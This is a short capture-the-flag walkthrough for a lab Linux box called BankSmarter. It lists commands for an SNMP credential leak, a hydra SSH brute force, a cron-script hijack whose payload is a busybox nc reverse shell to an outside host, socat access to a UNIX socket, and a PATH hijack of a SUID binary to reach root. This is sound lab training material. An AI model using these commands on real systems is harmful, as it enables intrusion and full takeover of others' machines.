BankSmarter — HackSmarter (10.0.17.247)

Standalone Linux server (chained lateral movement to root).

Foothold: SNMP -> SSH (stanley.layne)

Only SSH (22) is open on TCP, but SNMP is exposed over UDP:

$snmpwalk -c public -v 2c 10.0.17.247    # leaks "Admin Layne.Stanley:<password>"
$hydra -L users.txt -P passwords.txt 10.0.17.247 ssh -I   # login as layne.stanley
$# flag1 in home; note bankSmarter_backup.sh

layne.stanley -> scott.weiland (script hijack)

pspy64 shows a cron (uid 1002) executing bankSmarter_backup.sh from layne.stanley's home. The file is owned by scott.weiland but sits in our directory, so delete + replace it:

$echo '#!/bin/bash
$busybox nc 10.200.1.17 4445 -e /bin/bash' > bankSmarter_backup.sh    # catch shell as scott.weiland

scott.weiland -> ronnie.stone (UNIX socket / socat)

scott's .bash_history reveals a UNIX domain socket. scott is in ronnie's group and can connect:

$socat stdio unix-connect:/opt/bank/sockets/live.sock    # -> shell as ronnie.stone (groups bank-team, bankers)

ronnie.stone -> root: PATH hijack in SUID binary

/usr/local/bin/bank_backupd is SUID root, group bankers executable; it runs bank_backup.py via #!/usr/bin/env python3 (relative python3 lookup):

$echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/python3 ; chmod +x /tmp/python3
$PATH=/tmp:$PATH /usr/local/bin/bank_backupd    # -> root, /root/root.txt